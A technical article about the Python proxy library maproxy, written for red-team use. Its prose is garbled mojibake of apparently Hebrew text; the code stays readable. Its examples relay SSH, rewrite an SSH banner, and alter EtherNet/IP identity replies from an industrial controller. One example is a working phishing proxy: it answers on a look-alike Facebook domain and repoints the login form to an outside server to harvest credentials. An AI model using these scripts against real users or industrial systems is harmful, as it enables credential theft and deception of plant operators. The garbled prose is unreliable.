ืชืจืืื ืืืืืจ ืืืื ืขืจื ืชืืืืช ืืงืืจืก
ืชืงืฆืืจ
ืืืืื ืกืืืื ืฉื ืืขืจืืืช ืืืืื, ืืื ืืืืืงืืช ืืืืจื ืจืืืืืช ืืคืขืืืืช Red Team ืืคืจืืฆื ืืืืฉืืจื IoT/ICS ื-SCADA, ืืจืืืื ืืขืืืื ืขื ืคืจืืืืงืืื ืจืฉืช ืืื ืืจืื, ืืืืืจ ืืขืฆื ืืืจืื ืืฉืื ืื ื ืชืื ื ืืจืฉืช ืืื ืืืงืื ืืืืจื. ืจืืจืื ืชืขืืืจืช ืจืฉืช ืืื ื ืืฉืืื ืงืฉื ืืืืืื ืฉืืฉ ืื ื ืืืื ืืื Wireshark, Tcpdump ืื Scapy, ืื ื ืจืื ืื ืฉืื ืื ืืื ืืฉืืื ืขืชืืจืช ืขืืืื ืืืืืื ืฉื ืฆืืจื ืืงืื ืืืืฉืื ืืืฉืง ืืื ืืงืจืื ืืช ื ืชืื ื ืืจืฉืช, ืืกื ื ืืืชื, ืืฉื ืืช ืืืชื. ืืืชื ืชืื ืืื ืชื ืืขื ืืฉืื ืืืชื ืืืืจื ืืืืจื ืืืขื ืืืขื ืืืื ืืืช. ืื ืืกืฃ, ืื ืืืื ืืืืืืื ืื ืืื ืืื ืืืื ืืขืืื ืืืืืืืืช ืขื ืืกืคืจ ืืืืืจืื ืืงืืืืื ืื ืืชื ืืืชืืื ืืืฉืืช ืืืืฆืขืืช ืกืงืจืืคืืื.
ืืื ืืื ืืืืืชื ืืื ืฉื ืงืจื
, ืืชืืขืื ืืืืืจ ืื ืืช ืื ืืืืืจืืช maproxy
- ืืืืืง ืื ืฉืื ื ืฆืจืื. ืืื ืคืจืืงืกื TCP ืคืฉืื ืืืื, ืจื ืชืืืืชื ืื ืืชื ืืืืืจื ืืงืืืช. ืืืงืชื ืืช ืืืื ืืื ืืืื ืืืฉืืืื ืืืจืืืื ืืืื, ืืืื ืืชืงื ื ICS (ืฉืืืฆืจืื ืืจืื ืื ืืช) ืืื ืืจืืืช ืื ืืื ืืืื ืืืชืืืื ืขื ืืจืื ืืืืืจืื ืืงืืืืื, ืืืืื ืคืขื ืืืื.
ืืืืจ ืื ืืฆืื ืืคื ืืื ืขืืืื ื ืชืื ื ืจืฉืช ืชืื ืืื ืฉืืืืฉ maproxy
.
ืกืงืืจื
ืืื maproxy
ืืืืกืก ืขื Tornado, ืืกืืจืช ืจืฉืช ืืกืื ืืจืื ืืช ืคืืคืืืจืืช ืืืืืจืช ื- Python.
ืืืืคื ืืืื, ืื ืืืื ืืคืขืื ืืืกืคืจ ืืฆืืื:
TCP:TCP
- ืืืืืจื TCP ืื ืืืฆืคื ืื;TCP:SSL
ะธSSL:TCP
- ืขื ืืฆืคื ื ืื ืืืืื ืืช;SSL:SSL
- ืืฆืคื ื ืื ืืืืื ืืช.
ืื ืืืืข ืืชืืจ ืกืคืจืืื. ืืืชืืื ืืืืจื, ืืชื ืืืื ืืืฉืชืืฉ ืืงืืฆืื ืืืืืื ืืืฉืงืคืื ืืช ืืจืืฉื
all.py
certificate.pem
logging_proxy.py
privatekey.pem
ssl2ssl.py
ssl2tcp.py
tcp2ssl.py
tcp2tcp.py
ืืงืจื 1 - ืคืจืืงืกื ืื-ืืืืื ื ืคืฉืื
ืืืืกืก ืขื tcp2tcp.py
:
#!/usr/bin/env python
import tornado.ioloop
import maproxy.proxyserver
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()
ืืจืืจืช ืืืื ProxyServer()
ืืืงื ืฉื ื ืืจืืืื ืืื - ืืืงืื ืืืืืืจ ืืืฆืืืช ืืืขื. server.listen()
ืืืงื ืืจืืืื ื ืืื - ืืืฆืืื ืืืืื ื ืืืืืืจ ืื ืื ืก.
ืืืฆืืข ืืกืงืจืืคื:
# python tcp2tcp.py
ืขื ืื ืช ืืืคืขืื ืืช ืืืืืงื, ืื ื ืืืืืื ืืืชืืืจ ืืฉืจืช SSH ืืงืืื ืืืืฆืขืืช ืกืงืจืืคื ื-proxy ืฉืื ื, ืฉืืืืื ื- 2222/tcp
ืืฆืืื ืืืชืืืจ ืืืฆืืื ืจืืืื 22/tcp
ืฉืจืชื SSH:
ืืื ืจ ืืคืชืืื ืืืืืข ืื ืฉืืกืงืจืืคื ืืืืืื ืฉืื ื ืืืฆืข ืืืฆืืื ืืช ืชืขืืืจืช ืืจืฉืช.
ืืงืจื 2 - ืฉืื ืื ื ืชืื ืื
ืขืื ืชืกืจืื ืืืืื logging_proxy.py
ืืืืืืื ืืืื ืืจืืงืฆืื ืขื ื ืชืื ื ืจืฉืช. ืืืขืจืืช ืืงืืืฅ ืืชืืจืืช ืืช ืฉืืืืช ืืืืชื ืฉืืชื ืืืื ืืฉื ืืช ืืื ืืืฉืื ืืช ืืืืจื ืฉืื:
ืืืืจ ืืืขื ืืื ืืืืชืจ ื ืืฆื ืืื:
on_c2p_done_read
- ืืืืจื ื ืชืื ืื ืืืืจื ืืืจื ืืืืงืื ืืฉืจืช;on_p2s_done_read
- ืืคืื.
ืืื ื ื ืกื ืืฉื ืืช ืืช ืืืื ืจ SSH ืฉืืฉืจืช ืืืืืจ ืืืงืื:
[โฆ]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[โฆ]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[โฆ]
ืืฆืข ืืช ืืกืงืจืืคื:
ืืคื ืฉืืชื ืืืื ืืจืืืช, ืืืงืื ืืืืขื ืื ืฉื ืฉืจืช SSH ืขืืืจื ืฉืื ื ื ยซDumnySSHยป
.
ืืงืจื 3 - ืืฃ ืืื ืืจื ื ืคืฉืื ืฉื ืคืืฉืื ื
ืืฉ ืืื ืกืืฃ ืืจืืื ืืืฉืชืืฉ ืืืื ืื. ืืคืขื ืืืื ื ืชืืงื ืืืฉืื ืืขืฉื ืืืชืจ ืืืฆื ืืืืฆืขื ืฉื ืืฆืืืช ืืืืื. ืืืื ื ืืงื ืืช ืืฃ ืื ืืืชื m.facebook.com
ืืืืฉืชืืฉ ืืืืืืื ืืืชืื ืืืฉืืช ืขื ืฉืืืืช ืืงืืื ืืืืื ืช, ืืืฉื, m.facebok.com
. ืืืืจืืช ืืืืื, ื ื ืื ืฉืืืืืืื ืจืฉืื ืขื ืืืื ื.
ืื ืื ื ืืืืืื ืืืฆืืจ ืืืืืจ ืจืฉืช ืื ืืืฆืคื ืขื ื-proxy ืฉื ืืงืืจืื ืืช ืฉืื ื ื-SSL Stream ืืฉืจืช ืคืืืกืืืง (31.13.81.36
). ืืื ืฉืืืืืื ืืื ืชืขืืื, ืื ืื ื ืฆืจืืืื ืืืืืืฃ ืืช ืืืชืจืช ืืืืจื ืฉื HTTP ืืืืืืืจ ืืช ืฉื ืืืืจื ืื ืืื, ืืื ื ืฉืืืช ืืช ืืืืกืช ืืชืืืื ืืื ืฉื ืืื ืืืฉืช ืืงืืืช ืืชืืื. ืืกืืคื ืฉื ืืืจ ื ืืืืฃ ืืช ืืืคืก ื-HTML ืื ืฉืืืฉืืจื ืืื ืืกื ืืืฉืืื ืืืื ื ืืืงืื ืืฉืจืชืื ืฉื ืคืืืกืืืง:
[โฆ]
def on_c2p_done_read(self,data):
# replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[โฆ]
def on_p2s_done_read(self,data):
# partial replacement of response
data = data.replace("action="/iw/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[โฆ]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[โฆ]
ืืกืืืื:
ืืคื ืฉืืชื ืืืื ืืจืืืช, ืืฆืืื ื ืืืืืืฃ ืืช ืืืชืจ ืืืงืืจื ืืืฆืืื.
ืืงืจื 4 - ืืขืืจืช Ethernet/IP
ืื ื ืืชืขืกืง ืขื ืืชืงื ืื ืืชืืื ืืช ืชืขืฉืืืชืืืช (ICS/SCADA) ืืืจ ืื ืืขื ืืื, ืืื ืืงืจืื ื ืืชื ืื ืืชืื ืืช (PLC), ืืืืืื I/O, ืืื ื ืื, ืืืกืจืื, ืกืืืืืช ืชืื ืืช ืกืืื ืืขืื ืจืืื. ืืืืจื ืืื ืืืืขื ืืื ืฉืืืื ืืืจืื ืชืขืฉืืืชืืื. ืคืจืืฆื ืืคืชืจืื ืืช ืืืื ืืจืืื ืืืฉืืง ืคืขืื ืขื ืคืจืืืืงืืื ืจืฉืช. ืืืืืื ืืืื, ืืจืฆืื ื ืืืจืืืช ืืืฆื ื ืืชื ืืฉื ืืช ืชืขืืืจืช ืจืฉืช ICS/SCADA.
ืืื ืืขืฉืืช ืืืช, ืืชื ืฆืจืื ืืช ืืืืจืื ืืืืื:
- ืจืฉืช ืกื ืืคืจ, ืืืฉื, Wireshark;
- Ethernet/IP ืื ืจืง ืืชืงื SIP, ืืชื ืืืื ืืืฆืื ืืืชื ืืืืฆืขืืช ืฉืืจืืช Shodan;
- ืืชืกืจืื ืฉืื ื ืืืืกืก ืขื
maproxy
.
ืจืืฉืืช, ืืืื ื ืกืชืื ืืืฆื ื ืจืืืช ืชืืืืช ืืืืื ืืืคืืกืืช ื-CIP (ืคืจืืืืงืื ืชืขืฉืืืชื ืืฉืืชืฃ):
ืืืืื ืืืชืงื ืืชืืฆืข ืืืืฆืขืืช ืคืจืืืืงืื Ethernet/IP, ืฉืืื ืืจืกื ืืฉืืคืจืช ืฉื ืคืจืืืืงืื ื-Ethernet ืืชืขืฉืืืชื ืืขืืืฃ ืคืจืืืืงืืื ืืงืจื ืืืื CIP. ืื ื ืืืืืื ืืฉื ืืช ืืช ืฉื ืืืืื ืืืืืืฉ ืืฉืจ ืืืื ืืฆืืืื ืืืกื "NI-IndComm ืขืืืจ Ethernet" ืืืืฆืขืืช ืกืงืจืืคื ื-proxy ืฉืื ื. ื ืืื ืืขืฉืืช ืฉืืืืฉ ืืืืจ ืืชืกืจืื logging_proxy.py
ืืืืืคื ืืืื ืืฉื ืืช ืืช ืฉืืืช ืืืืืงื on_p2s_done_read
, ืื ืื ืื ื ืจืืฆืื ืฉืฉื ืืืืช ืฉืื ื ืืืื ืืืื ืขื ืืืงืื.
ืงืื:
[โฆ]
def on_p2s_done_read(self,data):
# partial replacement of response
# Checking if we got List Identity message response
if data[26:28] == b'x0cx00':
print('Got response, replacing')
data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
super(LoggingSession,self).on_p2s_done_read(data)
[โฆ]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[โฆ]
ืืขืืงืจื ืฉื ืืืจ, ืืืงืฉื ื ืืืืื ืืืืฉืืจ ืคืขืืืื, ืืชืืืื ืืฉื ืืื ืืืืชื ืืืงืืจืืช, ืืืจืืฉืื ื ืฉืื ืชื ืชืื ืืื ืชื ืืขื.
ืืืืืจืื
ืืืขืชื maproxy
ืืื ื ืื ืืคืฉืื, ืฉืืชืื ืื ื-Python, ืื ืฉืื ื ืืืืื ืฉืื ืืชื ืืืืืื ืืืคืืง ืชืืขืืช ืืืฉืืืืฉ ืื. ืืืืื, ืืฉื ื ืืืื ืืืจืืืื ืืืชืจ ืืขืืืื ืืฉืื ืื ื ืชืื ื ืจืฉืช, ืื ืื ืื ืืืจืฉืื ืืืชืจ ืชืฉืืืช ืื ืืืจืื ื ืืฆืจืื ืขืืืจ ืืงืจื ืฉืืืืฉ ืกืคืฆืืคื, ืืืฉื. maproxy
ืืชื ืืืื ืืืืฉื ืืืืืจืืช ืืช ืืจืขืืื ืืช ืฉืื ืืืืจืื ื ืชืื ื ืจืฉืช, ืืืืืื ืฉืืกืงืจืืคืืื ืืืืืื ืืจืืจืื ืืืื.
ืืงืืจ: www.habr.com